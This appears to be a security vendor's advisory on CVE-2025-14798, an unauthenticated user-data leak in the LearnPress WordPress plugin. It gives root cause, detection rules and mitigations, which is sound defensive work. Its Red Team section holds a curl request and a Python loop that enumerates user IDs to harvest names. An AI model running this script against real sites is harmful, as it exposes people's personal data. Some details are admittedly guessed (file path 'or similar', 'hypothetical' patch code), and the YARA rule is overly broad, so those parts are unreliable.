CVE-2025-14798

Executive Summary

CVE-2025-14798 is a Sensitive Information Exposure vulnerability in the LearnPress – WordPress LMS Plugin for WordPress, affecting versions up to and including 4.3.2.4. The flaw resides in the get_item_permissions_check function, which fails to properly enforce authorization checks. This allows unauthenticated attackers to extract sensitive user data, including first names, last names, social profile links, and enrollment details. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they are released. Since no patch is currently available, administrators should consider disabling the plugin or implementing virtual patching via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated data extraction but does not enable code execution or data modification. The low EPSS score suggests limited active exploitation, but the potential for data leakage (PII) makes it a privacy concern.

Deep Dive & Mechanics

The vulnerability exists in the LearnPress plugin’s REST API endpoint that handles user profile data. The get_item_permissions_check function is intended to verify that the requesting user has permission to view the requested user’s profile information. However, due to a missing or insufficient permission check, the function returns sensitive data without proper authentication.

Affected Component:

• Plugin: LearnPress – WordPress LMS Plugin
• File: inc/rest-api/class-lp-rest-users-controller.php (or similar)
• Function: get_item_permissions_check

Root Cause:
The get_item_permissions_check function does not validate the user’s identity or role before returning profile data. This allows any unauthenticated user to query the REST API endpoint and retrieve sensitive information such as:

• User first name and last name
• Social profile links (e.g., Facebook, Twitter)
• Course enrollment details

Attack Vector:
An attacker sends a crafted HTTP GET request to the vulnerable REST API endpoint without any authentication token. The server responds with the sensitive data in JSON format.

Example Request:

GET /wp-json/learnpress/v1/users/1 HTTP/1.1
Host: target-site.com

Example Response (truncated):

{
  "id": 1,
  "first_name": "John",
  "last_name": "Doe",
  "social_links": {
    "facebook": "https://facebook.com/johndoe",
    "twitter": "https://twitter.com/johndoe"
  },
  "enrollments": [
    {
      "course_id": 123,
      "status": "enrolled"
    }
  ]
}

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.3.2.4):

public function get_item_permissions_check( $request ) {
    // Missing permission check
    return true;
}

Patched Code (Hypothetical):

public function get_item_permissions_check( $request ) {
    $user_id = $request->get_param( 'id' );
    if ( ! is_user_logged_in() || get_current_user_id() !== (int) $user_id ) {
        return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.' ), array( 'status' => 403 ) );
    }
    return true;
}

Note: No official patch has been released as of this writing. The above patched code is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with LearnPress plugin version <= 4.3.2.4 installed and activated.
• No authentication required.

Steps:

1. Identify the target WordPress site.
2. Enumerate user IDs (e.g., starting from 1).
3. Send a GET request to the vulnerable endpoint:

   curl -X GET "http://target-site.com/wp-json/learnpress/v1/users/1"
   

4. Parse the JSON response to extract sensitive data.

Automated Script (Python):

import requests
import json

target = "http://target-site.com"
for user_id in range(1, 10):
    url = f"{target}/wp-json/learnpress/v1/users/{user_id}"
    response = requests.get(url)
    if response.status_code == 200:
        data = response.json()
        print(f"User {user_id}: {data.get('first_name')} {data.get('last_name')}")

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual GET requests to /wp-json/learnpress/v1/users/* from unauthenticated sources.
• Look for sequential user ID enumeration patterns.

Mitigation:

• Disable the LearnPress plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated access to the vulnerable endpoint.
• Apply virtual patching via a security plugin (e.g., Wordfence).

WAF Rule (ModSecurity):

SecRule REQUEST_URI "@beginsWith /wp-json/learnpress/v1/users/" \
    "id:1000001,\
    phase:1,\
    deny,\
    status:403,\
    msg:'LearnPress Sensitive Information Exposure Attempt',\
    tag:'CVE-2025-14798'"

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /wp-json/learnpress/v1/users/[0-9]+ without authentication.
• Response bodies containing first_name, last_name, social_links, or enrollments fields.

File IOCs:

• Presence of the vulnerable file: wp-content/plugins/learnpress/inc/rest-api/class-lp-rest-users-controller.php
• MD5 hash of vulnerable file: UNKNOWN (depends on version)

Log IOCs:

• Web server logs showing repeated requests to /wp-json/learnpress/v1/users/ with sequential IDs.

Detection Engineering

YARA Rule

rule CVE_2025_14798_LearnPress_InfoLeak {
    meta:
        description = "Detects LearnPress plugin files vulnerable to CVE-2025-14798"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14798"
    strings:
        $vuln_func = "get_item_permissions_check"
        $missing_check = "return true;"
    condition:
        $vuln_func and $missing_check
}

Sigma Rule

title: LearnPress Sensitive Information Exposure Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to LearnPress user data endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/wp-json/learnpress/v1/users/'
    condition: selection
falsepositives:
    - Legitimate authenticated API calls (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14798 LearnPress Sensitive Information Exposure"; flow:to_server; http.method; content:"GET"; http.uri; content:"/wp-json/learnpress/v1/users/"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the LearnPress plugin until an official patch is released.
2. Implement a WAF rule to block unauthenticated requests to /wp-json/learnpress/v1/users/*.
3. Monitor logs for suspicious enumeration attempts.

Long-Term Fix:

• Apply the official patch once released by the vendor.
• If patching is not possible, manually modify the vulnerable function as shown in the "Vulnerable vs. Patched Code" section.

Workaround:

• Use a security plugin like Wordfence to add a firewall rule blocking the vulnerable endpoint.

Valters IT
Securing Digital Frontiers